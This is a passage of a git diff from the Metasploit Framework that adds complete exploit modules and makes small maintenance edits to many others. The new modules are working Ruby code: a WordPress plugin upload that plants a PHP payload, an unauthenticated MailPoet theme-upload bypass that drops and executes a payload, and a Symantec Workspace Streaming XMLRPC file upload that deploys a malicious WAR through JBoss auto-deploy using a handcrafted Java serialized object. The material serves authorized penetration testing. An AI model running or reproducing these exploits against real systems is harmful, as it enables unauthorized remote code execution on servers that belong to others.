{[^}]+"admin_nonce":"([a-z0-9]+)"};/ + return Regexp.last_match[1] + else + return nil + end + end + + def upload_file(cookie, nonce) + filename = "#{rand_text_alpha(10)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"") + data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"') + data.add_part('upload_file', nil, nil, 'form-data; name="action"') + data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"') + data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"') + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + ) + + if res && res.code == 200 && res.body && res.body.length > 0 + register_files_for_cleanup(filename) + return res.body + end + + nil + end + + def exploit + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + + print_status("#{peer} - Trying to get nonce") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + print_status("#{peer} - Got nonce #{nonce}") + + print_status("#{peer} - Trying to upload payload") + file_path = upload_file(cookie, nonce) + if file_path.nil? + print_error("#{peer} - Error uploading file") + return + end + + print_status("#{peer} - Calling uploaded file #{file_path}") + send_request_cgi( + 'uri' => file_path, + 'method' => 'GET' + ) + end +end diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb new file mode 100644 index 0000000000..3a66c6920b --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload', + 'Description' => %q{ + The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8 + is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme + functionality to upload a zip file containing the payload. The plugin uses the + admin_init hook, which is also executed for unauthenticated users when accessing + a specific URL. The first fix for this vulnerability appeared in version 2.6.7, + but the fix can be bypassed. In PHP's default configuration, + a POST variable overwrites a GET variable in the $_REQUEST array. The plugin + uses $_REQUEST to check for access rights. By setting the POST parameter to + something not beginning with 'wysija_', the check is bypassed. Wordpress uses + the $_GET array to determine the page, so it is not affected by this. The developers + applied the fixes to all previous versions too. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'], + ['URL', 'http://www.mailpoet.com/security-update-part-2/'], + ['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'], + ['WPVDB', '6680'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['wysija-newsletters < 2.6.8', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 1 2014')) + end + + def create_zip_file(theme_name, payload_name) + # the zip file must match the following: + # -) Exactly one folder representing the theme name + # -) A style.css in the theme folder + # -) Additional files in the folder + + content = { + ::File.join(theme_name, 'style.css') => '', + ::File.join(theme_name, payload_name) => payload.encoded + } + + zip_file = Rex::Zip::Archive.new + content.each_pair do |name, con| + zip_file.add_file(name, con) + end + + zip_file.pack + end + + def check + check_plugin_version_from_readme('wysija-newsletters', '2.6.8') + end + + def exploit + theme_name = rand_text_alpha(10) + payload_name = "#{rand_text_alpha(10)}.php" + + zip_content = create_zip_file(theme_name, payload_name) + + data = Rex::MIME::Message.new + data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") + data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') + data.add_part('themeupload', nil, nil, 'form-data; name="action"') + data.add_part('Upload', nil, nil, 'form-data; name="submitter"') + # this line bypasses the check implemented in version 2.6.7 + data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"') + post_data = data.to_s + + payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name) + + print_status("#{peer} - Uploading payload to #{payload_uri}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_post, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, + 'data' => post_data + ) + + if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1' + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + # Files to cleanup (session is dropped in the created folder): + # style.css + # the payload + # the theme folder (manual cleanup) + register_files_for_cleanup('style.css', payload_name) + + print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.") + + print_status("#{peer} - Executing payload #{payload_uri}") + send_request_cgi( + 'uri' => payload_uri, + 'method' => 'GET' + ) + end +end diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 0ad5036393..45e7ecf389 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 8558d6edcb..6b77a26165 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager include Msf::Exploit::EXE def initialize(info={}) @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/']) ], self.class) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def uri @@ -149,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote @session = login(admin_password) - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end end diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb index bdb1e08464..c126de0f39 100644 --- a/modules/exploits/unix/webapp/zimbra_lfi.rb +++ b/modules/exploits/unix/webapp/zimbra_lfi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 3f8dab74c2..c0b5f3a306 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index e4508a5448..5a398002a8 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoAccess, "#{peer} - Login failed") end - res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || '' + res.get_cookies.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || '' end @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || '' - sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || '' + sid = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || '' fail_with(Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty? return token, sid diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index 5e3cd321ae..f0da843b45 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Privileged' => true, 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 26 2010')) @@ -50,11 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 1148ae14c0..53b66c2e87 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DefaultTarget' => 0, @@ -55,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb index ff2e97a734..e76b950c6b 100644 --- a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb +++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path', '/']) ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -71,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit print_status("#{peer} - Sending payload") # Execute the cmdstager, max length of the commands is ~3950 - execute_cmdstager({:linemax => 3950}) + execute_cmdstager({:flavor => :vbs, :linemax => 3950}) end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/windows/antivirus/symantec_iao.rb b/modules/exploits/windows/antivirus/symantec_iao.rb index 4762cab17f..48b9a23fb3 100644 --- a/modules/exploits/windows/antivirus/symantec_iao.rb +++ b/modules/exploits/windows/antivirus/symantec_iao.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/symantec_rtvscan.rb b/modules/exploits/windows/antivirus/symantec_rtvscan.rb index 07d2b699b0..d766eb6294 100644 --- a/modules/exploits/windows/antivirus/symantec_rtvscan.rb +++ b/modules/exploits/windows/antivirus/symantec_rtvscan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb new file mode 100644 index 0000000000..79d0aa4b43 --- /dev/null +++ b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb @@ -0,0 +1,356 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Symantec Workspace Streaming Arbitrary File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in Symantec Workspace Streaming. The + vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the + as_agent.exe service, which allows for uploading arbitrary files under the server root. + This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order + to achieve remote code execution. This module has been tested successfully on Symantec + Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single + machine deployment, and also in the backend role in a multiple machine deployment. + }, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-1649'], + ['BID', '67189'], + ['ZDI', '14-127'], + ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00'] + ], + 'Privileged' => true, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 12 2014')) + + register_options( + [ + Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file) + OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy) + ], self.class) + end + + def send_xml_rpc_request(xml) + res = send_request_cgi( + { + 'uri' => normalize_uri("/", "xmlrpc"), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => xml + }) + + res + end + + def build_soap_get_file(file_path) + xml = Document.new + xml.add_element( + "methodCall", + { + 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" + }) + method_name = xml.root.add_element("methodName") + method_name.text = "ManagementAgentServer.getFile" + + params = xml.root.add_element("params") + + param_server_root = params.add_element("param") + value_server_root = param_server_root.add_element("value") + value_server_root.text = "*AWESE" + + param_file_type = params.add_element("param") + value_file_type = param_file_type.add_element("value") + type_file_type = value_file_type.add_element("i4") + type_file_type.text = "0" # build path from the server root directory + + param_file_name = params.add_element("param") + value_file_name = param_file_name.add_element("value") + value_file_name.text = file_path + + param_file_binary = params.add_element("param") + value_file_binary = param_file_binary.add_element("value") + type_file_binary = value_file_binary.add_element("boolean") + type_file_binary.text = "0" + + xml << XMLDecl.new("1.0", "UTF-8") + + xml.to_s + end + + def build_soap_put_file(file) + xml = Document.new + xml.add_element( + "methodCall", + { + 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" + }) + method_name = xml.root.add_element("methodName") + method_name.text = "ManagementAgentServer.putFile" + + params = xml.root.add_element("params") + + param_server_root = params.add_element("param") + value_server_root = param_server_root.add_element("value") + value_server_root.text = "*AWESE" + + param_file_type = params.add_element("param") + value_file_type = param_file_type.add_element("value") + type_file_type = value_file_type.add_element("i4") + type_file_type.text = "0" # build path from the server root directory + + param_file = params.add_element("param") + value_file = param_file.add_element("value") + type_value_file = value_file.add_element("ex:serializable") + type_value_file.text = file + + xml << XMLDecl.new("1.0", "UTF-8") + + xml.to_s + end + + def build_soap_check_put + xml = Document.new + xml.add_element( + "methodCall", + { + 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" + }) + method_name = xml.root.add_element("methodName") + method_name.text = "ManagementAgentServer.putFile" + xml.root.add_element("params") + xml << XMLDecl.new("1.0", "UTF-8") + xml.to_s + end + + def parse_method_response(xml) + doc = Document.new(xml) + file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable") + + unless file.nil? + file = Rex::Text.decode_base64(file.text) + end + + file + end + + def get_file(path) + xml_call = build_soap_get_file(path) + file = nil + + res = send_xml_rpc_request(xml_call) + + if res && res.code == 200 && res.body + file = parse_method_response(res.body.to_s) + end + + file + end + + def put_file(file) + result = nil + xml_call = build_soap_put_file(file) + + res = send_xml_rpc_request(xml_call) + + if res && res.code == 200 && res.body + result = parse_method_response(res.body.to_s) + end + + result + end + + def upload_war(war_name, war, dst) + result = false + java_file = build_java_file_info("#{dst}#{war_name}", war) + java_file = Rex::Text.encode_base64(java_file) + + res = put_file(java_file) + + if res && res =~ /ReturnObject.*StatusMessage.*Boolean/ + result = true + end + + result + end + + def jboss_deploy_path + path = nil + leak = get_file("bin/CreateDatabaseSchema.cmd") + + if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/ + path = $1 + end + + path + end + + def check + check_result = Exploit::CheckCode::Safe + + if jboss_deploy_path.nil? + xml = build_soap_check_put + res = send_xml_rpc_request(xml) + + if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/ + check_result = Exploit::CheckCode::Detected + end + else + check_result = Exploit::CheckCode::Appears + end + + check_result + end + + def exploit + print_status("#{peer} - Leaking the jboss deployment directory...") + jboss_path =jboss_deploy_path + + if jboss_path.nil? + fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory") + end + + print_status("#{peer} - Building WAR payload...") + + app_name = Rex::Text.rand_text_alpha(4 + rand(4)) + war_name = "#{app_name}.war" + war = payload.encoded_war({ :app_name => app_name }).to_s + deploy_dir = "..#{jboss_path}" + + print_status("#{peer} - Uploading WAR payload...") + + res = upload_war(war_name, war, deploy_dir) + + unless res + fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload") + end + + register_files_for_cleanup("../server/appstream/deploy/#{war_name}") + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET', + 'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + + end + + def ste_port + datastore['STE_PORT'] + end + + # com.appstream.cm.general.FileInfo serialized object + def build_java_file_info(file_name, contents) + stream = "\xac\xed" # stream magic + stream << "\x00\x05" # stream version + stream << "\x73" # new Object + + stream << "\x72" # TC_CLASSDESC + stream << ["com.appstream.cm.general.FileInfo".length].pack("n") + stream << "com.appstream.cm.general.FileInfo" + stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier + stream << "\x02" # flags SC_SERIALIZABLE + stream << [6].pack("n") # number of fields in the class + + stream << "Z" # boolean + stream << ["bLastPage".length].pack("n") + stream << "bLastPage" + + stream << "J" # long + stream << ["lFileSize".length].pack("n") + stream << "lFileSize" + + stream << "[" # array + stream << ["baContent".length].pack("n") + stream << "baContent" + stream << "\x74" # TC_STRING + stream << ["[B".length].pack("n") + stream << "[B" # field's type (byte array) + + stream << "L" # Object + stream << ["dTimeStamp".length].pack("n") + stream << "dTimeStamp" + stream << "\x74" # TC_STRING + stream << ["Ljava/util/Date;".length].pack("n") + stream << "Ljava/util/Date;" #field's type (Date) + + stream << "L" # Object + stream << ["sContent".length].pack("n") + stream << "sContent" + stream << "\x74" # TC_STRING + stream << ["Ljava/lang/String;".length].pack("n") + stream << "Ljava/lang/String;" #field's type (String) + + stream << "L" # Object + stream << ["sFileName".length].pack("n") + stream << "sFileName" + stream << "\x71" # TC_REFERENCE + stream << [0x007e0003].pack("N") # handle + + stream << "\x78" # TC_ENDBLOCKDATA + stream << "\x70" # TC_NULL + + # Values + stream << [1].pack("c") # bLastPage + + stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize + + stream << "\x75" # TC_ARRAY + stream << "\x72" # TC_CLASSDESC + stream << ["[B".length].pack("n") + stream << "[B" # byte array) + stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier + stream << "\x02" # flags SC_SERIALIZABLE + stream << [0].pack("n") # number of fields in the class + stream << "\x78" # TC_ENDBLOCKDATA + stream << "\x70" # TC_NULL + stream << [contents.length].pack("N") + stream << contents # baContent + + stream << "\x70" # TC_NULL # dTimeStamp + + stream << "\x70" # TC_NULL # sContent + + stream << "\x74" # TC_STRING + stream << [file_name.length].pack("n") + stream << file_name # sFileName + + stream + end + +end diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb index e3cd0c964b..96d629dcf2 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb index 994d5acd85..026513e734 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb index b422a06cf5..ef09da8928 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index 3fce25e2a8..d1c08fd8c3 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/backdoor/energizer_duo_payload.rb b/modules/exploits/windows/backdoor/energizer_duo_payload.rb index 8fbfd803a2..972c0407b4 100644 --- a/modules/exploits/windows/backdoor/energizer_duo_payload.rb +++ b/modules/exploits/windows/backdoor/energizer_duo_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index e59550a872..1ddaa8eb98 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 2fd714b4ab..b40389ec0c 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index 3e254a40c6..629621b033 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index 8ab0cb0d5d..8145935ad9 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index a5a5492691..bfe484f24f 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index 7d9d56dd5e..99f72ef29f 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/hsmserver.rb b/modules/exploits/windows/brightstor/hsmserver.rb index 8b1d34bfdf..ade7cf8ecf 100644 --- a/modules/exploits/windows/brightstor/hsmserver.rb +++ b/modules/exploits/windows/brightstor/hsmserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/brightstor/lgserver.rb b/modules/exploits/windows/brightstor/lgserver.rb index 57867e4d04..d439f85cc8 100644 --- a/modules/exploits/windows/brightstor/lgserver.rb +++ b/modules/exploits/windows/brightstor/lgserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow', + 'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb index 98439c43e1..6f6bda88cd 100644 --- a/modules/exploits/windows/brightstor/lgserver_multi.rb +++ b/modules/exploits/windows/brightstor/lgserver_multi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer 